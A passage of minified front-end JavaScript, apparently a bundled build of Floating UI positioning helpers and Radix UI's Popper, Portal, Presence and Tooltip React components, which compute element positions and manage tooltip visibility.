S!==B.width||w!==B.height?{reset:{rects:!0}}:{}}}};function _h(){return typeof window<"u"}function ql(e){return MM(e)?(e.nodeName||"").toLowerCase():"#document"}function Un(e){var t;return(e==null||(t=e.ownerDocument)==null?void 0:t.defaultView)||window}function Kr(e){var t;return(t=(MM(e)?e.ownerDocument:e.document)||window.document)==null?void 0:t.documentElement}function MM(e){return _h()?e instanceof Node||e instanceof Un(e).Node:!1}function Or(e){return _h()?e instanceof Element||e instanceof Un(e).Element:!1}function Br(e){return _h()?e instanceof HTMLElement||e instanceof Un(e).HTMLElement:!1}function XA(e){return!_h()||typeof ShadowRoot>"u"?!1:e instanceof ShadowRoot||e instanceof Un(e).ShadowRoot}const C8=new Set(["inline","contents"]);function qc(e){const{overflow:t,overflowX:n,overflowY:r,display:i}=Er(e);return/auto|scroll|overlay|hidden|clip/.test(t+r+n)&&!C8.has(i)}const _8=new Set(["table","td","th"]);function T8(e){return _8.has(ql(e))}const N8=[":popover-open",":modal"];function Th(e){return N8.some(t=>{try{return e.matches(t)}catch{return!1}})}const M8=["transform","translate","scale","rotate","perspective"],j8=["transform","translate","scale","rotate","perspective","filter"],P8=["paint","layout","strict","content"];function Rb(e){const t=Db(),n=Or(e)?Er(e):e;return M8.some(r=>n[r]?n[r]!=="none":!1)||(n.containerType?n.containerType!=="normal":!1)||!t&&(n.backdropFilter?n.backdropFilter!=="none":!1)||!t&&(n.filter?n.filter!=="none":!1)||j8.some(r=>(n.willChange||"").includes(r))||P8.some(r=>(n.contain||"").includes(r))}function R8(e){let t=wi(e);for(;Br(t)&&!jl(t);){if(Rb(t))return t;if(Th(t))return null;t=wi(t)}return null}function Db(){return typeof CSS>"u"||!CSS.supports?!1:CSS.supports("-webkit-backdrop-filter","none")}const D8=new Set(["html","body","#document"]);function jl(e){return D8.has(ql(e))}function Er(e){return Un(e).getComputedStyle(e)}function Nh(e){return Or(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.scrollX,scrollTop:e.scrollY}}function wi(e){if(ql(e)==="html")return e;const t=e.assignedSlot||e.parentNode||XA(e)&&e.host||Kr(e);return XA(t)?t.host:t}function jM(e){const t=wi(e);return jl(t)?e.ownerDocument?e.ownerDocument.body:e.body:Br(t)&&qc(t)?t:jM(t)}function Sc(e,t,n){var r;t===void 0&&(t=[]),n===void 0&&(n=!0);const i=jM(e),l=i===((r=e.ownerDocument)==null?void 0:r.body),c=Un(i);if(l){const u=h0(c);return t.concat(c,c.visualViewport||[],qc(i)?i:[],u&&n?Sc(u):[])}return t.concat(i,Sc(i,[],n))}function h0(e){return e.parent&&Object.getPrototypeOf(e.parent)?e.frameElement:null}function PM(e){const t=Er(e);let n=parseFloat(t.width)||0,r=parseFloat(t.height)||0;const i=Br(e),l=i?e.offsetWidth:n,c=i?e.offsetHeight:r,u=wd(n)!==l||wd(r)!==c;return u&&(n=l,r=c),{width:n,height:r,$:u}}function kb(e){return Or(e)?e:e.contextElement}function Cl(e){const t=kb(e);if(!Br(t))return zr(1);const n=t.getBoundingClientRect(),{width:r,height:i,$:l}=PM(t);let c=(l?wd(n.width):n.width)/r,u=(l?wd(n.height):n.height)/i;return(!c||!Number.isFinite(c))&&(c=1),(!u||!Number.isFinite(u))&&(u=1),{x:c,y:u}}const k8=zr(0);function RM(e){const t=Un(e);return!Db()||!t.visualViewport?k8:{x:t.visualViewport.offsetLeft,y:t.visualViewport.offsetTop}}function L8(e,t,n){return t===void 0&&(t=!1),!n||t&&n!==Un(e)?!1:t}function oo(e,t,n,r){t===void 0&&(t=!1),n===void 0&&(n=!1);const i=e.getBoundingClientRect(),l=kb(e);let c=zr(1);t&&(r?Or(r)&&(c=Cl(r)):c=Cl(e));const u=L8(l,n,r)?RM(l):zr(0);let f=(i.left+u.x)/c.x,h=(i.top+u.y)/c.y,p=i.width/c.x,m=i.height/c.y;if(l){const y=Un(l),x=r&&Or(r)?Un(r):r;let S=y,w=h0(S);for(;w&&r&&x!==S;){const O=Cl(w),A=w.getBoundingClientRect(),_=Er(w),T=A.left+(w.clientLeft+parseFloat(_.paddingLeft))*O.x,j=A.top+(w.clientTop+parseFloat(_.paddingTop))*O.y;f*=O.x,h*=O.y,p*=O.x,m*=O.y,f+=T,h+=j,S=Un(w),w=h0(S)}}return Od({width:p,height:m,x:f,y:h})}function Mh(e,t){const n=Nh(e).scrollLeft;return t?t.left+n:oo(Kr(e)).left+n}function DM(e,t){const n=e.getBoundingClientRect(),r=n.left+t.scrollLeft-Mh(e,n),i=n.top+t.scrollTop;return{x:r,y:i}}function I8(e){let{elements:t,rect:n,offsetParent:r,strategy:i}=e;const l=i==="fixed",c=Kr(r),u=t?Th(t.floating):!1;if(r===c||u&&l)return n;let f={scrollLeft:0,scrollTop:0},h=zr(1);const p=zr(0),m=Br(r);if((m||!m&&!l)&&((ql(r)!=="body"||qc(c))&&(f=Nh(r)),Br(r))){const x=oo(r);h=Cl(r),p.x=x.x+r.clientLeft,p.y=x.y+r.clientTop}const y=c&&!m&&!l?DM(c,f):zr(0);return{width:n.width*h.x,height:n.height*h.y,x:n.x*h.x-f.scrollLeft*h.x+p.x+y.x,y:n.y*h.y-f.scrollTop*h.y+p.y+y.y}}function z8(e){return Array.from(e.getClientRects())}function $8(e){const t=Kr(e),n=Nh(e),r=e.ownerDocument.body,i=zn(t.scrollWidth,t.clientWidth,r.scrollWidth,r.clientWidth),l=zn(t.scrollHeight,t.clientHeight,r.scrollHeight,r.clientHeight);let c=-n.scrollLeft+Mh(e);const u=-n.scrollTop;return Er(r).direction==="rtl"&&(c+=zn(t.clientWidth,r.clientWidth)-i),{width:i,height:l,x:c,y:u}}const ZA=25;function B8(e,t){const n=Un(e),r=Kr(e),i=n.visualViewport;let l=r.clientWidth,c=r.clientHeight,u=0,f=0;if(i){l=i.width,c=i.height;const p=Db();(!p||p&&t==="fixed")&&(u=i.offsetLeft,f=i.offsetTop)}const h=Mh(r);if(h<=0){const p=r.ownerDocument,m=p.body,y=getComputedStyle(m),x=p.compatMode==="CSS1Compat"&&parseFloat(y.marginLeft)+parseFloat(y.marginRight)||0,S=Math.abs(r.clientWidth-m.clientWidth-x);S<=ZA&&(l-=S)}else h<=ZA&&(l+=h);return{width:l,height:c,x:u,y:f}}const U8=new Set(["absolute","fixed"]);function H8(e,t){const n=oo(e,!0,t==="fixed"),r=n.top+e.clientTop,i=n.left+e.clientLeft,l=Br(e)?Cl(e):zr(1),c=e.clientWidth*l.x,u=e.clientHeight*l.y,f=i*l.x,h=r*l.y;return{width:c,height:u,x:f,y:h}}function QA(e,t,n){let r;if(t==="viewport")r=B8(e,n);else if(t==="document")r=$8(Kr(e));else if(Or(t))r=H8(t,n);else{const i=RM(e);r={x:t.x-i.x,y:t.y-i.y,width:t.width,height:t.height}}return Od(r)}function kM(e,t){const n=wi(e);return n===t||!Or(n)||jl(n)?!1:Er(n).position==="fixed"||kM(n,t)}function q8(e,t){const n=t.get(e);if(n)return n;let r=Sc(e,[],!1).filter(u=>Or(u)&&ql(u)!=="body"),i=null;const l=Er(e).position==="fixed";let c=l?wi(e):e;for(;Or(c)&&!jl(c);){const u=Er(c),f=Rb(c);!f&&u.position==="fixed"&&(i=null),(l?!f&&!i:!f&&u.position==="static"&&!!i&&U8.has(i.position)||qc(c)&&!f&&kM(e,c))?r=r.filter(p=>p!==c):i=u,c=wi(c)}return t.set(e,r),r}function F8(e){let{element:t,boundary:n,rootBoundary:r,strategy:i}=e;const c=[...n==="clippingAncestors"?Th(t)?[]:q8(t,this._c):[].concat(n),r],u=c[0],f=c.reduce((h,p)=>{const m=QA(t,p,i);return h.top=zn(m.top,h.top),h.right=xi(m.right,h.right),h.bottom=xi(m.bottom,h.bottom),h.left=zn(m.left,h.left),h},QA(t,u,i));return{width:f.right-f.left,height:f.bottom-f.top,x:f.left,y:f.top}}function V8(e){const{width:t,height:n}=PM(e);return{width:t,height:n}}function K8(e,t,n){const r=Br(t),i=Kr(t),l=n==="fixed",c=oo(e,!0,l,t);let u={scrollLeft:0,scrollTop:0};const f=zr(0);function h(){f.x=Mh(i)}if(r||!r&&!l)if((ql(t)!=="body"||qc(i))&&(u=Nh(t)),r){const x=oo(t,!0,l,t);f.x=x.x+t.clientLeft,f.y=x.y+t.clientTop}else i&&h();l&&!r&&i&&h();const p=i&&!r&&!l?DM(i,u):zr(0),m=c.left+u.scrollLeft-f.x-p.x,y=c.top+u.scrollTop-f.y-p.y;return{x:m,y,width:c.width,height:c.height}}function vg(e){return Er(e).position==="static"}function JA(e,t){if(!Br(e)||Er(e).position==="fixed")return null;if(t)return t(e);let n=e.offsetParent;return Kr(e)===n&&(n=n.ownerDocument.body),n}function LM(e,t){const n=Un(e);if(Th(e))return n;if(!Br(e)){let i=wi(e);for(;i&&!jl(i);){if(Or(i)&&!vg(i))return i;i=wi(i)}return n}let r=JA(e,t);for(;r&&T8(r)&&vg(r);)r=JA(r,t);return r&&jl(r)&&vg(r)&&!Rb(r)?n:r||R8(e)||n}const Y8=async function(e){const t=this.getOffsetParent||LM,n=this.getDimensions,r=await n(e.floating);return{reference:K8(e.reference,await t(e.floating),e.strategy),floating:{x:0,y:0,width:r.width,height:r.height}}};function G8(e){return Er(e).direction==="rtl"}const W8={convertOffsetParentRelativeRectToViewportRelativeRect:I8,getDocumentElement:Kr,getClippingRect:F8,getOffsetParent:LM,getElementRects:Y8,getClientRects:z8,getDimensions:V8,getScale:Cl,isElement:Or,isRTL:G8};function IM(e,t){return e.x===t.x&&e.y===t.y&&e.width===t.width&&e.height===t.height}function X8(e,t){let n=null,r;const i=Kr(e);function l(){var u;clearTimeout(r),(u=n)==null||u.disconnect(),n=null}function c(u,f){u===void 0&&(u=!1),f===void 0&&(f=1),l();const h=e.getBoundingClientRect(),{left:p,top:m,width:y,height:x}=h;if(u||t(),!y||!x)return;const S=If(m),w=If(i.clientWidth-(p+y)),O=If(i.clientHeight-(m+x)),A=If(p),T={rootMargin:-S+"px "+-w+"px "+-O+"px "+-A+"px",threshold:zn(0,xi(1,f))||1};let j=!0;function M(P){const R=P[0].intersectionRatio;if(R!==f){if(!j)return c();R?c(!1,R):r=setTimeout(()=>{c(!1,1e-7)},1e3)}R===1&&!IM(h,e.getBoundingClientRect())&&c(),j=!1}try{n=new IntersectionObserver(M,{...T,root:i.ownerDocument})}catch{n=new IntersectionObserver(M,T)}n.observe(e)}return c(!0),l}function Z8(e,t,n,r){r===void 0&&(r={});const{ancestorScroll:i=!0,ancestorResize:l=!0,elementResize:c=typeof ResizeObserver=="function",layoutShift:u=typeof IntersectionObserver=="function",animationFrame:f=!1}=r,h=kb(e),p=i||l?[...h?Sc(h):[],...Sc(t)]:[];p.forEach(A=>{i&&A.addEventListener("scroll",n,{passive:!0}),l&&A.addEventListener("resize",n)});const m=h&&u?X8(h,n):null;let y=-1,x=null;c&&(x=new ResizeObserver(A=>{let[_]=A;_&&_.target===h&&x&&(x.unobserve(t),cancelAnimationFrame(y),y=requestAnimationFrame(()=>{var T;(T=x)==null||T.observe(t)})),n()}),h&&!f&&x.observe(h),x.observe(t));let S,w=f?oo(e):null;f&&O();function O(){const A=oo(e);w&&!IM(w,A)&&n(),w=A,S=requestAnimationFrame(O)}return n(),()=>{var A;p.forEach(_=>{i&&_.removeEventListener("scroll",n),l&&_.removeEventListener("resize",n)}),m?.(),(A=x)==null||A.disconnect(),x=null,f&&cancelAnimationFrame(S)}}const Q8=S8,J8=O8,eU=b8,tU=A8,nU=x8,eC=y8,rU=E8,aU=(e,t,n)=>{const r=new Map,i={platform:W8,...n},l={...i.platform,_c:r};return g8(e,t,{...i,platform:l})};var iU=typeof document<"u",oU=function(){},sd=iU?v.useLayoutEffect:oU;function Ed(e,t){if(e===t)return!0;if(typeof e!=typeof t)return!1;if(typeof e=="function"&&e.toString()===t.toString())return!0;let n,r,i;if(e&&t&&typeof e=="object"){if(Array.isArray(e)){if(n=e.length,n!==t.length)return!1;for(r=n;r--!==0;)if(!Ed(e[r],t[r]))return!1;return!0}if(i=Object.keys(e),n=i.length,n!==Object.keys(t).length)return!1;for(r=n;r--!==0;)if(!{}.hasOwnProperty.call(t,i[r]))return!1;for(r=n;r--!==0;){const l=i[r];if(!(l==="_owner"&&e.$$typeof)&&!Ed(e[l],t[l]))return!1}return!0}return e!==e&&t!==t}function zM(e){return typeof window>"u"?1:(e.ownerDocument.defaultView||window).devicePixelRatio||1}function tC(e,t){const n=zM(e);return Math.round(t*n)/n}function gg(e){const t=v.useRef(e);return sd(()=>{t.current=e}),t}function lU(e){e===void 0&&(e={});const{placement:t="bottom",strategy:n="absolute",middleware:r=[],platform:i,elements:{reference:l,floating:c}={},transform:u=!0,whileElementsMounted:f,open:h}=e,[p,m]=v.useState({x:0,y:0,strategy:n,placement:t,middlewareData:{},isPositioned:!1}),[y,x]=v.useState(r);Ed(y,r)||x(r);const[S,w]=v.useState(null),[O,A]=v.useState(null),_=v.useCallback($=>{$!==P.current&&(P.current=$,w($))},[]),T=v.useCallback($=>{$!==R.current&&(R.current=$,A($))},[]),j=l||S,M=c||O,P=v.useRef(null),R=v.useRef(null),I=v.useRef(p),B=f!=null,q=gg(f),U=gg(i),V=gg(h),oe=v.useCallback(()=>{if(!P.current||!R.current)return;const $={placement:t,strategy:n,middleware:y};U.current&&($.platform=U.current),aU(P.current,R.current,$).then(Z=>{const de={...Z,isPositioned:V.current!==!1};le.current&&!Ed(I.current,de)&&(I.current=de,So.flushSync(()=>{m(de)}))})},[y,t,n,U,V]);sd(()=>{h===!1&&I.current.isPositioned&&(I.current.isPositioned=!1,m($=>({...$,isPositioned:!1})))},[h]);const le=v.useRef(!1);sd(()=>(le.current=!0,()=>{le.current=!1}),[]),sd(()=>{if(j&&(P.current=j),M&&(R.current=M),j&&M){if(q.current)return q.current(j,M,oe);oe()}},[j,M,oe,q,B]);const ce=v.useMemo(()=>({reference:P,floating:R,setReference:_,setFloating:T}),[_,T]),L=v.useMemo(()=>({reference:j,floating:M}),[j,M]),F=v.useMemo(()=>{const $={position:n,left:0,top:0};if(!L.floating)return $;const Z=tC(L.floating,p.x),de=tC(L.floating,p.y);return u?{...$,transform:"translate("+Z+"px, "+de+"px)",...zM(L.floating)>=1.5&&{willChange:"transform"}}:{position:n,left:Z,top:de}},[n,u,L.floating,p.x,p.y]);return v.useMemo(()=>({...p,update:oe,refs:ce,elements:L,floatingStyles:F}),[p,oe,ce,L,F])}const sU=e=>{function t(n){return{}.hasOwnProperty.call(n,"current")}return{name:"arrow",options:e,fn(n){const{element:r,padding:i}=typeof e=="function"?e(n):e;return r&&t(r)?r.current!=null?eC({element:r.current,padding:i}).fn(n):{}:r?eC({element:r,padding:i}).fn(n):{}}}},cU=(e,t)=>({...Q8(e),options:[e,t]}),uU=(e,t)=>({...J8(e),options:[e,t]}),fU=(e,t)=>({...rU(e),options:[e,t]}),dU=(e,t)=>({...eU(e),options:[e,t]}),hU=(e,t)=>({...tU(e),options:[e,t]}),pU=(e,t)=>({...nU(e),options:[e,t]}),mU=(e,t)=>({...sU(e),options:[e,t]});var vU="Arrow",$M=v.forwardRef((e,t)=>{const{children:n,width:r=10,height:i=5,...l}=e;return E.jsx(Ce.svg,{...l,ref:t,width:r,height:i,viewBox:"0 0 30 10",preserveAspectRatio:"none",children:e.asChild?n:E.jsx("polygon",{points:"0,0 30,0 15,10"})})});$M.displayName=vU;var gU=$M;function BM(e){const[t,n]=v.useState(void 0);return Ft(()=>{if(e){n({width:e.offsetWidth,height:e.offsetHeight});const r=new ResizeObserver(i=>{if(!Array.isArray(i)||!i.length)return;const l=i[0];let c,u;if("borderBoxSize"in l){const f=l.borderBoxSize,h=Array.isArray(f)?f[0]:f;c=h.inlineSize,u=h.blockSize}else c=e.offsetWidth,u=e.offsetHeight;n({width:c,height:u})});return r.observe(e,{box:"border-box"}),()=>r.unobserve(e)}else n(void 0)},[e]),t}var Lb="Popper",[UM,Fl]=Fn(Lb),[yU,HM]=UM(Lb),qM=e=>{const{__scopePopper:t,children:n}=e,[r,i]=v.useState(null);return E.jsx(yU,{scope:t,anchor:r,onAnchorChange:i,children:n})};qM.displayName=Lb;var FM="PopperAnchor",VM=v.forwardRef((e,t)=>{const{__scopePopper:n,virtualRef:r,...i}=e,l=HM(FM,n),c=v.useRef(null),u=De(t,c),f=v.useRef(null);return v.useEffect(()=>{const h=f.current;f.current=r?.current||c.current,h!==f.current&&l.onAnchorChange(f.current)}),r?null:E.jsx(Ce.div,{...i,ref:u})});VM.displayName=FM;var Ib="PopperContent",[bU,xU]=UM(Ib),KM=v.forwardRef((e,t)=>{const{__scopePopper:n,side:r="bottom",sideOffset:i=0,align:l="center",alignOffset:c=0,arrowPadding:u=0,avoidCollisions:f=!0,collisionBoundary:h=[],collisionPadding:p=0,sticky:m="partial",hideWhenDetached:y=!1,updatePositionStrategy:x="optimized",onPlaced:S,...w}=e,O=HM(Ib,n),[A,_]=v.useState(null),T=De(t,ee=>_(ee)),[j,M]=v.useState(null),P=BM(j),R=P?.width??0,I=P?.height??0,B=r+(l!=="center"?"-"+l:""),q=typeof p=="number"?p:{top:0,right:0,bottom:0,left:0,...p},U=Array.isArray(h)?h:[h],V=U.length>0,oe={padding:q,boundary:U.filter(SU),altBoundary:V},{refs:le,floatingStyles:ce,placement:L,isPositioned:F,middlewareData:$}=lU({strategy:"fixed",placement:B,whileElementsMounted:(...ee)=>Z8(...ee,{animationFrame:x==="always"}),elements:{reference:O.anchor},middleware:[cU({mainAxis:i+I,alignmentAxis:c}),f&&uU({mainAxis:!0,crossAxis:!1,limiter:m==="partial"?fU():void 0,...oe}),f&&dU({...oe}),hU({...oe,apply:({elements:ee,rects:_e,availableWidth:Q,availableHeight:fe})=>{const{width:he,height:ne}=_e.reference,Ke=ee.floating.style;Ke.setProperty("--radix-popper-available-width",`${Q}px`),Ke.setProperty("--radix-popper-available-height",`${fe}px`),Ke.setProperty("--radix-popper-anchor-width",`${he}px`),Ke.setProperty("--radix-popper-anchor-height",`${ne}px`)}}),j&&mU({element:j,padding:u}),OU({arrowWidth:R,arrowHeight:I}),y&&pU({strategy:"referenceHidden",...oe})]}),[Z,de]=WM(L),D=en(S);Ft(()=>{F&&D?.()},[F,D]);const X=$.arrow?.x,ae=$.arrow?.y,se=$.arrow?.centerOffset!==0,[me,xe]=v.useState();return Ft(()=>{A&&xe(window.getComputedStyle(A).zIndex)},[A]),E.jsx("div",{ref:le.setFloating,"data-radix-popper-content-wrapper":"",style:{...ce,transform:F?ce.transform:"translate(0, -200%)",minWidth:"max-content",zIndex:me,"--radix-popper-transform-origin":[$.transformOrigin?.x,$.transformOrigin?.y].join(" "),...$.hide?.referenceHidden&&{visibility:"hidden",pointerEvents:"none"}},dir:e.dir,children:E.jsx(bU,{scope:n,placedSide:Z,onArrowChange:M,arrowX:X,arrowY:ae,shouldHideArrow:se,children:E.jsx(Ce.div,{"data-side":Z,"data-align":de,...w,ref:T,style:{...w.style,animation:F?void 0:"none"}})})})});KM.displayName=Ib;var YM="PopperArrow",wU={top:"bottom",right:"left",bottom:"top",left:"right"},GM=v.forwardRef(function(t,n){const{__scopePopper:r,...i}=t,l=xU(YM,r),c=wU[l.placedSide];return E.jsx("span",{ref:l.onArrowChange,style:{position:"absolute",left:l.arrowX,top:l.arrowY,[c]:0,transformOrigin:{top:"",right:"0 0",bottom:"center 0",left:"100% 0"}[l.placedSide],transform:{top:"translateY(100%)",right:"translateY(50%) rotate(90deg) translateX(-50%)",bottom:"rotate(180deg)",left:"translateY(50%) rotate(-90deg) translateX(50%)"}[l.placedSide],visibility:l.shouldHideArrow?"hidden":void 0},children:E.jsx(gU,{...i,ref:n,style:{...i.style,display:"block"}})})});GM.displayName=YM;function SU(e){return e!==null}var OU=e=>({name:"transformOrigin",options:e,fn(t){const{placement:n,rects:r,middlewareData:i}=t,c=i.arrow?.centerOffset!==0,u=c?0:e.arrowWidth,f=c?0:e.arrowHeight,[h,p]=WM(n),m={start:"0%",center:"50%",end:"100%"}[p],y=(i.arrow?.x??0)+u/2,x=(i.arrow?.y??0)+f/2;let S="",w="";return h==="bottom"?(S=c?m:`${y}px`,w=`${-f}px`):h==="top"?(S=c?m:`${y}px`,w=`${r.floating.height+f}px`):h==="right"?(S=`${-f}px`,w=c?m:`${x}px`):h==="left"&&(S=`${r.floating.width+f}px`,w=c?m:`${x}px`),{data:{x:S,y:w}}}});function WM(e){const[t,n="center"]=e.split("-");return[t,n]}var zb=qM,$b=VM,Bb=KM,Ub=GM,EU="Portal",Fc=v.forwardRef((e,t)=>{const{container:n,...r}=e,[i,l]=v.useState(!1);Ft(()=>l(!0),[]);const c=n||i&&globalThis?.document?.body;return c?HB.createPortal(E.jsx(Ce.div,{...r,ref:t}),c):null});Fc.displayName=EU;function AU(e,t){return v.useReducer((n,r)=>t[n][r]??n,e)}var ln=e=>{const{present:t,children:n}=e,r=CU(t),i=typeof n=="function"?n({present:r.isPresent}):v.Children.only(n),l=De(r.ref,_U(i));return typeof n=="function"||r.isPresent?v.cloneElement(i,{ref:l}):null};ln.displayName="Presence";function CU(e){const[t,n]=v.useState(),r=v.useRef(null),i=v.useRef(e),l=v.useRef("none"),c=e?"mounted":"unmounted",[u,f]=AU(c,{mounted:{UNMOUNT:"unmounted",ANIMATION_OUT:"unmountSuspended"},unmountSuspended:{MOUNT:"mounted",ANIMATION_END:"unmounted"},unmounted:{MOUNT:"mounted"}});return v.useEffect(()=>{const h=zf(r.current);l.current=u==="mounted"?h:"none"},[u]),Ft(()=>{const h=r.current,p=i.current;if(p!==e){const y=l.current,x=zf(h);e?f("MOUNT"):x==="none"||h?.display==="none"?f("UNMOUNT"):f(p&&y!==x?"ANIMATION_OUT":"UNMOUNT"),i.current=e}},[e,f]),Ft(()=>{if(t){let h;const p=t.ownerDocument.defaultView??window,m=x=>{const w=zf(r.current).includes(CSS.escape(x.animationName));if(x.target===t&&w&&(f("ANIMATION_END"),!i.current)){const O=t.style.animationFillMode;t.style.animationFillMode="forwards",h=p.setTimeout(()=>{t.style.animationFillMode==="forwards"&&(t.style.animationFillMode=O)})}},y=x=>{x.target===t&&(l.current=zf(r.current))};return t.addEventListener("animationstart",y),t.addEventListener("animationcancel",m),t.addEventListener("animationend",m),()=>{p.clearTimeout(h),t.removeEventListener("animationstart",y),t.removeEventListener("animationcancel",m),t.removeEventListener("animationend",m)}}else f("ANIMATION_END")},[t,f]),{isPresent:["mounted","unmountSuspended"].includes(u),ref:v.useCallback(h=>{r.current=h?getComputedStyle(h):null,n(h)},[])}}function zf(e){return e?.animationName||"none"}function _U(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var TU=Symbol("radix.slottable");function NU(e){const t=({children:n})=>E.jsx(E.Fragment,{children:n});return t.displayName=`${e}.Slottable`,t.__radixId=TU,t}var MU=Eh[" useInsertionEffect ".trim().toString()]||Ft;function Oa({prop:e,defaultProp:t,onChange:n=()=>{},caller:r}){const[i,l,c]=jU({defaultProp:t,onChange:n}),u=e!==void 0,f=u?e:i;{const p=v.useRef(e!==void 0);v.useEffect(()=>{const m=p.current;m!==u&&console.warn(`${r} is changing from ${m?"controlled":"uncontrolled"} to ${u?"controlled":"uncontrolled"}. Components should not switch from controlled to uncontrolled (or vice versa). Decide between using a controlled or uncontrolled value for the lifetime of the component.`),p.current=u},[u,r])}const h=v.useCallback(p=>{if(u){const m=PU(p)?p(e):p;m!==e&&c.current?.(m)}else l(p)},[u,e,l,c]);return[f,h]}function jU({defaultProp:e,onChange:t}){const[n,r]=v.useState(e),i=v.useRef(n),l=v.useRef(t);return MU(()=>{l.current=t},[t]),v.useEffect(()=>{i.current!==n&&(l.current?.(n),i.current=n)},[n,i]),[n,r,l]}function PU(e){return typeof e=="function"}var XM=Object.freeze({position:"absolute",border:0,width:1,height:1,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",wordWrap:"normal"}),RU="VisuallyHidden",ZM=v.forwardRef((e,t)=>E.jsx(Ce.span,{...e,ref:t,style:{...XM,...e.style}}));ZM.displayName=RU;var DU=ZM,[jh]=Fn("Tooltip",[Fl]),Ph=Fl(),QM="TooltipProvider",kU=700,p0="tooltip.open",[LU,Hb]=jh(QM),JM=e=>{const{__scopeTooltip:t,delayDuration:n=kU,skipDelayDuration:r=300,disableHoverableContent:i=!1,children:l}=e,c=v.useRef(!0),u=v.useRef(!1),f=v.useRef(0);return v.useEffect(()=>{const h=f.current;return()=>window.clearTimeout(h)},[]),E.jsx(LU,{scope:t,isOpenDelayedRef:c,delayDuration:n,onOpen:v.useCallback(()=>{window.clearTimeout(f.current),c.current=!1},[]),onClose:v.useCallback(()=>{window.clearTimeout(f.current),f.current=window.setTimeout(()=>c.current=!0,r)},[r]),isPointerInTransitRef:u,onPointerInTransitChange:v.useCallback(h=>{u.current=h},[]),disableHoverableContent:i,children:l})};JM.displayName=QM;var Oc="Tooltip",[IU,Vc]=jh(Oc),ej=e=>{const{__scopeTooltip:t,children:n,open:r,defaultOpen:i,onOpenChange:l,disableHoverableContent:c,delayDuration:u}=e,f=Hb(Oc,e.__scopeTooltip),h=Ph(t),[p,m]=v.useState(null),y=sr(),x=v.useRef(0),S=c??f.disableHoverableContent,w=u??f.delayDuration,O=v.useRef(!1),[A,_]=Oa({prop:r,defaultProp:i??!1,onChange:R=>{R?(f.onOpen(),document.dispatchEvent(new CustomEvent(p0))):f.onClose(),l?.(R)},caller:Oc}),T=v.useMemo(()=>A?O.current?"delayed-open":"instant-open":"closed",[A]),j=v.useCallback(()=>{window.clearTimeout(x.current),x.current=0,O.current=!1,_(!0)},[_]),M=v.useCallback(()=>{window.clearTimeout(x.current),x.current=0,_(!1)},[_]),P=v.useCallback(()=>{window.clearTimeout(x.current),x.current=window.setTimeout(()=>{O.current=!0,_(!0),x.current=0},w)},[w,_]);return v.useEffect(()=>()=>{x.current&&(window.clearTimeout(x.current),x.current=0)},[]),E.jsx(zb,{...h,children:E.jsx(IU,{scope:t,contentId:y,open:A,stateAttribute:T,trigger:p,onTriggerChange:m,onTriggerEnter:v.useCallback(()=>{f.isOpenDelayedRef.current?P():j()},[f.isOpenDelayedRef,P,j]),onTriggerLeave:v.useCallback(()=>{S?M():(window.clearTimeout(x.current),x.current=0)},[M,S]),onOpen:j,onClose:M,disableHoverableContent:S,children:n})})};ej.displayName=Oc;var m0="TooltipTrigger",tj=v.forwardRef((e,t)=>{const{__scopeTooltip:n,...r}=e,i=Vc(m0,n),l=Hb(m0,n),c=Ph(n),u=v.useRef(null),f=De(t,u,i.onTriggerChange),h=v.useRef(!1),p=v.useRef(!1),m=v.useCallback(()=>h.current=!1,[]);return v.useEffect(()=>()=>document.removeEventListener("pointerup",m),[m]),E.jsx($b,{asChild:!0,...c,children:E.jsx(Ce.button,{"aria-describedby":i.open?i.contentId:void 0,"data-state":i.stateAttribute,...r,ref:f,onPointerMove:ue(e.onPointerMove,y=>{y.pointerType!=="touch"&&!p.current&&!l.isPointerInTransitRef.current&&(i.onTriggerEnter(),p.current=!0)}),onPointerLeave:ue(e.onPointerLeave,()=>{i.onTriggerLeave(),p.current=!1}),onPointerDown:ue(e.onPointerDown,()=>{i.open&&i.onClose(),h.current=!0,document.addEventListener("pointerup",m,{once:!0})}),onFocus:ue(e.onFocus,()=>{h.current||i.onOpen()}),onBlur:ue(e.onBlur,i.onClose),onClick:ue(e.onClick,i.onClose)})})});tj.displayName=m0;var qb="TooltipPortal",[zU,$U]=jh(qb,{forceMount:void 0}),nj=e=>{const{__scopeTooltip:t,forceMount:n,children:r,container:i}=e,l=Vc(qb,t);return E.jsx(zU,{scope:t,forceMount:n,children:E.jsx(ln,{present:n||l.open,children:E.jsx(Fc,{asChild:!0,container:i,children:r})})})};nj.displayName=qb;var Pl="TooltipContent",rj=v.forwardRef((e,t)=>{const n=$U(Pl,e.__scopeTooltip),{forceMount:r=n.forceMount,side:i="top",...l}=e,c=Vc(Pl,e.__scopeTooltip);return E.jsx(ln,{present:r||c.open,children:c.disableHoverableContent?E.jsx(aj,{side:i,...l,ref:t}):E.jsx(BU,{side:i,...l,ref:t})})}),BU=v.forwardRef((e,t)=>{const n=Vc(Pl,e.__scopeTooltip),r=Hb(Pl,e.__scopeTooltip),i=v.useRef(null),l=De(t,i),[c,u]=v.useState(null),{trigger:f,onClose:h}=n,p=i.current,{onPointerInTransitChange:m}=r,y=v.useCallback(()=>{u(null),m(!1)},[m]),x=v.useCallback((S,w)=>{const O=S.currentTarget,A={x:S.clientX,y:S.clientY},_=VU(A,O.getBoundingClientRect()),T=KU(A,_),j=YU(w.getBoundingClientRect()),M=WU([...T,...j]);u(M),m(!0)},[m]);return v.useEffect(()=>()=>y(),[y]),v.useEffect(()=>{if(f&&p){const S=O=>x(O,p),w=O=>x(O,f);return f.addEventListener("pointerleave",S),p.addEventListener("pointerleave",w),()=>{f.removeEventListener("pointerleave",S),p.removeEventListener("pointerleave",w)}}},[f,p,x,y]),v.useEffect(()=>{if(c){const S=w=>{const O=w.target,A={x:w.clientX,y:w.clientY},_=f?.contains(O)||p?.contains(O),T=!GU(A,c);_?y():T&&(y(),h())};return 